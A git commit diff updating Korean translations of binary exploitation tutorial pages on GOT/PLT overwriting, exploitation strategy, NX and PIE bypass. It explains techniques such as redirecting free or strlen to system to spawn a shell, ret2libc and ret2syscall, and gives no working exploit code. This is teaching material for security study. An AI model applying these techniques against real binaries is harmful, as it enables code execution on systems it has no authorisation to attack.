Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

This commit is contained in:
Translator 2025-01-04 13:14:20 +00:00
parent d0b3efde8e
commit c9cefc0739
65 changed files with 1356 additions and 1250 deletions

View File

@ -6,15 +6,15 @@
### **GOT: 전역 오프셋 테이블**
**전역 오프셋 테이블 (GOT)**은 동적으로 연결된 바이너리에서 **외부 함수의 주소**를 관리하는 메커니즘입니다. 이러한 **주소는 런타임까지 알려지지 않기 때문에** (동적 연결로 인해), GOT는 이러한 외부 기호의 주소가 해결된 후 **동적으로 업데이트할 수 있는 방법**을 제공합니다.
**전역 오프셋 테이블(GOT)**은 동적으로 연결된 바이너리에서 **외부 함수의 주소**를 관리하는 메커니즘입니다. 이러한 **주소는 런타임까지 알 수 없기 때문에**(동적 연결로 인해), GOT는 **이 외부 기호의 주소를 동적으로 업데이트하는 방법**을 제공합니다.
GOT의 각 항목은 바이너리가 호출할 수 있는 외부 라이브러리의 기호에 해당합니다. **함수가 처음 호출될 때, 실제 주소는 동적 링커에 의해 해결되어 GOT에 저장됩니다**. 이후 동일한 함수에 대한 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
GOT의 각 항목은 바이너리가 호출할 수 있는 외부 라이브러리의 기호에 해당합니다. **함수가 처음 호출될 때, 동적 링커에 의해 실제 주소가 해결되어 GOT에 저장됩니다**. 이후 동일한 함수에 대한 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
### **PLT: 프로시저 링크 테이블**
**프로시저 링크 테이블 (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출할 때, 제어는 해당 함수와 연결된 PLT의 항목으로 전달됩니다**. 이 PLT 항목은 함수의 주소가 아직 해결되지 않은 경우 동적 링커를 호출하여 주소를 해결하는 역할을 합니다. 주소가 해결된 후, 그것은 **GOT**에 저장됩니다.
**프로시저 링크 테이블(PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출할 때, 제어는 해당 함수와 연결된 PLT의 항목으로 전달됩니다**. 이 PLT 항목은 함수의 주소가 아직 해결되지 않은 경우 동적 링커를 호출하여 주소를 해결하는 역할을 합니다. 주소가 해결된 후, 그것은 **GOT**에 저장됩니다.
**따라서,** GOT 항목은 외부 함수나 변수의 주소가 해결된 후 직접 사용됩니다. **PLT 항목은 이러한 주소의 초기 해결을 동적 링커를 통해 용이하게 하기 위해 사용됩니다.**
**따라서,** GOT 항목은 외부 함수나 변수의 주소가 해결된 후 직접 사용됩니다. **PLT 항목은 이러한 주소를 동적 링커를 통해 초기 해결하는 데 사용됩니다.**
## 실행 가져오기
@ -26,7 +26,7 @@ GOT 테이블의 주소를 가져오려면: **`objdump -s -j .got ./exec`**
GEF에서 **실행 파일을 로드한 후** **GOT에 있는 함수**를 **볼 수 있는 방법**을 관찰하세요: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
GEF를 사용하여 **디버깅** 세션을 시작하고 **`got`**를 실행하여 GOT 테이블을 확인할 수 있습니다:
@ -36,23 +36,23 @@ GEF를 사용하여 **디버깅** 세션을 시작하고 **`got`**를 실행하
바이너리에서 GOT는 **함수의 주소** 또는 **PLT** 섹션의 주소를 가지고 있어 함수 주소를 로드합니다. 이 임의 쓰기의 목표는 **나중에 실행될 함수의 GOT 항목을** **`system`** **함수의 PLT 주소로 덮어쓰는 것입니다**.
이상적으로는, **당신이 제어는 매개변수로 호출될 함수의 GOT를 덮어써야 합니다** (그래야 시스템 함수에 전달되는 매개변수를 제어할 수 있습니다).
이상적으로는, **당신이 제어할 수 있는 매개변수로 호출될 함수의 GOT를 덮어써야 합니다**(그래야 시스템 함수에 전달되는 매개변수를 제어할 수 있습니다).
바이너리가 **`system`**을 사용하지 않는 경우, 시스템 함수는 PLT에 항목이 없습니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 **유출**한 다음 GOT를 이 주소를 가리키도록 덮어써야 합니다.
만약 **`system`** **이 바이너리에서 사용되지 않는다면**, 시스템 함수는 **PLT에 항목이 없을 것입니다**. 이 경우, 먼저 `system` 함수의 주소를 **유출**한 다음 GOT를 이 주소를 가리키도록 덮어써야 합니다.
PLT 주소는 **`objdump -j .plt -d ./vuln_binary`**로 확인할 수 있습니다.
## libc GOT 항목
**libc의 GOT**는 일반적으로 **부분 RELRO**로 컴파일되어 있어, 주소를 파악할 수 있다면 좋은 목표가 됩니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**libc의 GOT**는 일반적으로 **부분 RELRO**로 컴파일되어 있어, 주소를 파악할 수 있다면 좋은 목표가 됩니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
libc의 일반적인 함수는 **다른 내부 함수**를 호출할 것이며, 이 함수의 GOT는 코드 실행을 얻기 위해 덮어쓸 수 있습니다.
이 기술에 대한 [**자세한 정보는 여기에서 확인하세요**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
[**이 기술에 대한 더 많은 정보는 여기에서 확인하세요**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
힙 익스플로잇 CTF에서는 청크의 내용을 제어할 수 있고, 심지어 GOT 테이블을 덮어쓸 수 있는 경우가 많습니다. 가용한 원가젯이 없을 때 RCE를 얻기 위한 간단한 트릭은 `free` GOT 주소를 `system`을 가리키도록 덮어쓰고 청크 안에 `"/bin/sh"`를 쓰는 것입니다. 이렇게 하면 이 청크가 해제될 때 `system("/bin/sh")`가 실행됩니다.
힙 익스플로잇 CTF에서는 청크의 내용을 제어할 수 있고, 때때로 GOT 테이블을 덮어쓸 수 있는 것이 일반적입니다. 가젯이 사용 불가능할 경우 RCE를 얻기 위한 간단한 트릭은 `free` GOT 주소를 `system`을 가리키도록 덮어쓰고, 청크에 `"/bin/sh"`를 작성하는 것입니다. 이렇게 하면 이 청크가 해제될 때 `system("/bin/sh")`가 실행됩니다.
### **Strlen2system**
@ -60,28 +60,28 @@ libc의 일반적인 함수는 **다른 내부 함수**를 호출할 것이며,
게다가, `puts`가 사용자 입력과 함께 사용되면, `strlen` GOT 주소를 `system`을 가리키도록 덮어쓰고 문자열 `"/bin/sh"`를 전달하여 셸을 얻을 수 있습니다. 왜냐하면 **`puts`가 사용자 입력으로 `strlen`을 호출하기 때문입니다**.
## **원가젯**
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **힙에서 GOT 용하기**
## **힙에서 GOT 용하기**
힙 취약점에서 RCE를 얻는 일반적인 방법은 빠른 빈을 남용하여 GOT 테이블의 일부를 빠른 빈에 추가하는 것입니다. 따라서 해당 청크가 할당될 때 **함수의 포인터, 일반적으로 `free`를 덮어쓸 수 있습니다**.\
그런 다음 `free``system`으로 가리키`/bin/sh\x00`가 작성된 청크를 해제하면 셸이 실행됩니다.
힙 취약점에서 RCE를 얻는 일반적인 방법은 빠른 빈을 악용하여 GOT 테이블의 일부를 빠른 빈에 추가하는 것입니다. 이렇게 하면 해당 청크가 할당될 때 **일반적으로 `free`의 포인터를 덮어쓸 수 있습니다**.\
그런 다음 `free``system`을 가리키도록 하`/bin/sh\x00`가 작성된 청크를 해제하면 셸이 실행됩니다.
[**여기에서 예제를 찾을 수 있습니다**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **보호**
**전체 RELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 그 후 **GOT 테이블을 읽기 전용**으로 만들어 이러한 종류의 기술을 방어하기 위해 설계되었습니다.
**전체 RELRO** 보호는 이와 같은 기술을 방지하기 위해 바이너리가 시작될 때 모든 함수의 주소를 해결하고, 그 후 **GOT 테이블을 읽기 전용**으로 만드는 것을 목표로 합니다:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## 참고문헌
## 참고 문헌
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -24,79 +24,79 @@ tools/
프로그램의 흐름을 제어하는 방법은 여러 가지가 있습니다:
- [**스택 오버플로우**](../stack-overflow/)를 통해 스택의 반환 포인터 또는 EBP -> ESP -> EIP를 덮어쓰기.
- [**스택 오버플로우**](../stack-overflow/index.html): 스택에서 반환 포인터 또는 EBP -> ESP -> EIP를 덮어쓰기.
- 오버플로우를 유발하기 위해 [**정수 오버플로우**](../integer-overflow.md)를 악용해야 할 수도 있습니다.
- 또는 **임의 쓰기 + 실행을 위한 쓰기 위치 지정**
- [**포맷 문자열**](../format-strings/)**:** `printf`를 악용하여 임의의 내용을 임의의 주소에 쓰기.
- [**배열 인덱싱**](../array-indexing.md): 잘못 설계된 인덱싱을 악용하여 일부 배열을 제어하고 임의 쓰기를 얻기.
- 또는 **임의 쓰기 + 실행을 위한 쓰기 위치 지정**을 통해.
- [**포맷 문자열**](../format-strings/index.html)**:** `printf`를 악용하여 임의의 내용을 임의의 주소에 쓰기.
- [**배열 인덱싱**](../array-indexing.md): 잘못 설계된 인덱싱을 악용하여 일부 배열을 제어하고 임의 쓰기를 얻기.
- 오버플로우를 유발하기 위해 [**정수 오버플로우**](../integer-overflow.md)를 악용해야 할 수도 있습니다.
- **ROP를 통한 bof to WWW**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있습니다.
- **bof to WWW via ROP**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있습니다.
**실행을 위한 쓰기 위치 지정** 기술은 다음에서 찾을 수 있습니다:
**Write What Where to Execution** 기술은 다음에서 찾을 수 있습니다:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## 영 루프
## 영원한 루프
고려해야 할 점은 일반적으로 **취약점을 한 번 익스플로잇하는 것만으로는 성공적인 익스플로잇을 실행하기에 충분하지 않을 수 있습니다**, 특히 일부 보호를 우회해야 할 필요가 있습니다. 따라서 **단일 취약점을 동일한 바이너리 실행에서 여러 번 익스플로잇 가능하게 만드는** 몇 가지 옵션을 논의하는 것이 흥미롭습니다:
고려해야 할 점은 일반적으로 **취약점을 한 번 익스플로잇하는 것만으로는 충분하지 않을 수 있습니다**. 특히 일부 보호를 우회해야 할 수 있습니다. 따라서 **단일 취약점을 동일한 바이너리 실행에서 여러 번 익스플로잇할 수 있는 옵션**에 대해 논의하는 것이 흥미롭습니다:
- **`main` 함수**의 주소 또는 **취약점**이 발생하는 주소를 **ROP** 체인에 작성.
- 적절한 ROP 체인을 제어하면 해당 체인에서 모든 작업을 수행할 수 있습니다.
- **`exit` GOT의 주소**에 (종료 전에 바이너리가 사용하는 다른 함수의 주소) **취약점으로 돌아가는** 주소를 작성.
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**에서 설명한 대로**, 여기에서 두 개의 함수를 저장하여 하나는 취약점을 다시 호출하고 다른 하나는 **`__libc_csu_fini`**를 호출하여 `.fini_array`의 함수를 다시 호출합니다.
- **`exit` GOT의 주소**에 (종료 전에 바이너리가 사용하는 다른 함수의 주소) **취약점으로 돌아가는 주소**를 작성.
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**에서 설명한 대로**, 여기에서 두 개의 함수를 저장하여 하나는 취약점을 다시 호출하고 다른 하나는 **`__libc_csu_fini`**를 호출하여 **`.fini_array`**의 함수를 다시 호출합니다.
## 익스플로잇 목표
### 목표: 기존 함수 호출
- [**ret2win**](#ret2win): 플래그를 얻기 위해 호출해야 하는 코드에 함수가 있습니다 (특정 매개변수와 함께일 수 있음).
- [**ret2win**](#ret2win): 플래그를 얻기 위해 호출해야 하는 코드에 함수가 있습니다(특정 매개변수와 함께 호출할 수 있습니다).
- **PIE**가 없는 **정상적인 bof**에서는 스택에 저장된 반환 주소에 주소를 작성하기만 하면 됩니다.
- [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있는 bof에서는 이를 우회해야 합니다.
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)가 있는 bof에서는 이를 우회해야 합니다.
- **PIE**가 있는 bof에서는 이를 우회해야 합니다.
- **canary**가 있는 bof에서는 이를 우회해야 합니다.
- **ret2win** 함수를 올바르게 호출하기 위해 여러 매개변수를 설정해야 하는 경우:
- 모든 매개변수를 준비할 수 있는 충분한 가젯이 있는 경우 [**ROP**](#rop-and-ret2...-techniques) 체인 사용
- 많은 레지스터를 제어하기 위해 [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (이 시스템 호출을 호출할 수 있는 경우)
- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯 사용
- [**Write What Where**](../arbitrary-write-2-exec/)를 통해 다른 취약점(버퍼 오버플로우가 아님)을 악용하여 **`win`** 함수를 호출할 수 있습니다.
- [**포인터 리디렉**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 미칠 수 있습니다.
- 모든 매개변수를 준비할 수 있는 충분한 가젯이 있는 경우 [**ROP**](#rop-and-ret2...-techniques) 체인 사용할 수 있습니다.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (이 시스템 호출을 호출할 수 있는 경우)로 많은 레지스터를 제어합니다.
- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯 사용합니다.
- [**Write What Where**](../arbitrary-write-2-exec/index.html)를 통해 다른 취약점(버퍼 오버플로우가 아님)을 악용하여 **`win`** 함수를 호출할 수 있습니다.
- [**포인터 리디렉**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 주소에 영향을 미칠 수 있습니다.
- [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 당신은 결코 알 수 없습니다.
### 목표: RCE
#### 쉘코드를 통한 방법, nx 비활성화 시 또는 쉘코드와 ROP 혼합:
#### 쉘코드를 통해, nx가 비활성화된 경우 또는 쉘코드와 ROP 혼합:
- [**(스택) 쉘코드**](#stack-shellcode): 반환 포인터를 덮어쓰기 전후에 스택에 쉘코드를 저장한 다음 **점프하여** 실행하는 데 유용합니다:
- 어떤 경우에도 **canary**가 있는 경우, 정상적인 bof에서는 이를 우회해야 합니다 (leak).
- 어떤 경우 **canary**가 있는 경우, 정상적인 bof에서는 이를 우회(유출)해야 합니다.
- **ASLR**가 없고 **nx**가 없으면 스택의 주소로 점프할 수 있습니다. 주소는 절대 변경되지 않기 때문입니다.
- **ASLR**가 있는 경우 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)와 같은 기술을 사용하여 점프해야 합니다.
- **nx**가 있는 경우, 일부 [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하고 일부 페이지를 `rwx`로 만들어야 하며, 그런 다음 거기에 쉘코드를 저장하고(예: read 호출) 그곳으로 점프해야 합니다.
- **nx**가 있는 경우, [**ROP**](../rop-return-oriented-programing/index.html)를 사용하여 `memprotect`를 호출하고 일부 페이지를 `rwx`로 만들어야 하며, 그런 다음 **거기에 쉘코드를 저장**(예: read 호출)하고 점프해야 합니다.
- 이는 쉘코드를 ROP 체인과 혼합합니다.
#### 시스템 호출을 통한 방법
#### 시스템 호출을 통
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **특정 시스템 호출을 매개변수와 함께 호출하기 위한 가젯을 찾아야 합니다.**
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화된 경우, 바이너리 또는 라이브러리에서 ROP 가젯을 사용하기 위해 이를 무력화해야 합니다.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)는 **ret2execve**를 준비하는 데 유용할 수 있습니다.
- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯 사용
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **특정 시스템 호출을 매개변수와 함께 호출할 수 있는 가젯을 찾아야 합니다**.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 활성화된 경우, 바이너리 또는 라이브러리에서 ROP 가젯을 사용하기 위해 이를 무력화해야 합니다.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)은 **ret2execve**를 준비하는 데 유용할 수 있습니다.
- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯 사용합니다.
#### libc를 통한 방법
#### libc를 통
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**의 함수(예: **`system`**)를 호출하는 데 유용하며, 준비된 인수(예: `'/bin/sh'`)가 필요합니다. 호출하고자 하는 함수가 있는 라이브러리를 **바이너리가 로드해야** 합니다 (보통 libc).
- **정적으로 컴파일되고 PIE가 없는 경우**, `system``/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다.
- **ASLR가 없고 로드된 libc 버전을 아는 경우**, `system``/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있으며 바이너리가 `system` 함수를 사용하는 경우 **GOT의 system 주소로 `ret`**하고 `/bin/sh`의 주소를 매개변수로 전달할 수 있습니다 (이것을 알아내야 합니다).
- [ASLR](../common-binary-protections-and-bypasses/aslr/)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있으며 **바이너리가 `system`을 사용하지 않는 경우**:
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**의 함수(예: `system`)를 호출하는 데 유용하며, 준비된 인수(예: `'/bin/sh'`)가 필요합니다. 호출하려는 함수가 있는 라이브러리를 **바이너리가 로드해야** 합니다(일반적으로 libc).
- **정적으로 컴파일되고** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 없는 경우, `system``/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다.
- **ASLR**가 없고 로드된 **libc 버전**을 알고 있다면, `system``/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 없는 경우, libc를 알고 있고 바이너리가 `system` 함수를 사용하는 경우 **GOT의 system 주소로 `ret`**하고 `/bin/sh`의 주소를 매개변수로 전달할 수 있습니다(이를 알아내야 합니다).
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/index.html)가 없는 경우, libc를 알고 있고 **바이너리가 `system`을 사용하지 않는 경우**:
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)를 사용하여 `system`의 주소를 해결하고 호출합니다.
- **ASLR**를 우회하고 메모리에서 `system``'/bin/sh'`의 주소를 계산합니다.
- **ASLR**와 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있고 libc를 모르는 경우:
- [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 합니다.
- 사용된 **`libc` 버전**을 찾아야 합니다 (몇 개의 함수 주소를 leak).
- 계속하기 위해 **ASLR**가 있는 이전 시나리오를 확인해야 합니다.
- **ASLR**와 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 모두 활성화되고 libc를 모르는 경우:
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)를 우회해야 합니다.
- 사용된 **`libc` 버전**을 찾아야 합니다(몇 개의 함수 주소를 유출).
- 계속하기 위해 **ASLR**가 있는 이전 시나리오를 확인합니다.
#### EBP/RBP를 통한 방법
#### EBP/RBP를 통
- [**스택 피벗팅 / EBP2Ret / EBP 체이닝**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 스택에 저장된 EBP를 통해 RET를 제어하기 위해 ESP를 제어합니다.
- **오프 바이 원** 스택 오버플로우에 유용합니다.
@ -104,8 +104,8 @@ tools/
#### 기타
- [**포인터 리디렉**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 미칠 수 있습니다.
- [**포인터 리디렉**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 주소에 영향을 미칠 수 있습니다.
- [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 당신은 결코 알 수 없습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## 기본 정보
**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다.
**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 메모리 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다.
## 우회 방법
- [**ROP**](../rop-return-oriented-programing/)와 같은 기술을 사용하여 이 보호 기능을 **우회**할 수 있으며, 이는 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행하는 것입니다.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- [**ROP**](../rop-return-oriented-programing/index.html)와 같은 기술을 사용하여 이 보호 기능을 **우회**할 수 있으며, 이는 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행하는 것입니다.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
PIE로 컴파일된 바이너리는 **위치 독립 실행 파일**을 의미하며, **프로그램이 실행될 때마다 다른 메모리 위치에 로드될 수** 있어 하드코딩된 주소를 방지합니다.
이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다.** 일반적으로 **스택**에서 포맷 문자열 공격과 같은 취약점을 사용하여 주소를 유출합니다. 주소를 얻으면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다**, 일반적으로 포맷 문자열 공격과 같은 취약점을 사용하여 **스택**에서 유출합니다. 주소를 하나 확보하면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우 확인할 중요한 체크**가 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\
한, 익스플로잇에 사용할 수 있습니다. 주소가 **`0x649e1024`**에 위치해 있다고 유출되면, **기본 주소는 `0x649e1000`**임을 알 수 있으며, 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다.
PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우 확인할 수 있는 중요한 체크**가 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\
는 익스플로잇에 이를 사용할 수 있습니다. 만약 **`0x649e1024`**에 주소가 위치해 있다는 것을 유출하면, **기본 주소는 `0x649e1000`**이라는 것을 알 수 있으며, 거기서부터 함수와 위치의 **오프셋을 계산**할 수 있습니다.
## 우회 방법
## Bypasses
PIE를 우회하려면 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다:
PIE를 우회하기 위해서는 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다:
- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다.** 따라서 **PIE는 쓸모가 없게 됩니다.** 객체의 주소가 항상 같은 위치에 있기 때문입니다.
- 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 일반적, [**이 예시를 확인하세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **스택에서 EBP와 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지 시도합니다:
- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다**. 따라서 **PIE는 쓸모가 없게 됩니다**. 객체의 주소가 항상 같은 위치에 있기 때문입니다.
- 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 흔함, [**이 예제 확인**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **스택에서 EBP와 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- [**포맷 문자열**](../../format-strings/)과 같은 **임의 읽기** 취약점을 사용하여 바이너리의 주소를 유출합니다 (예: 이전 기술처럼 스택에서) 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용합니다. [**여기에서 예시를 찾으세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- [**포맷 문자열**](../../format-strings/index.html)과 같은 **임의 읽기** 취약점을 사용하여 바이너리의 주소를 유출 (예: 이전 기술처럼 스택에서)하여 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용할 수 있습니다. [**여기서 예제 찾기**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## 참고 자료
## References
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -4,7 +4,7 @@
## 기본 정보
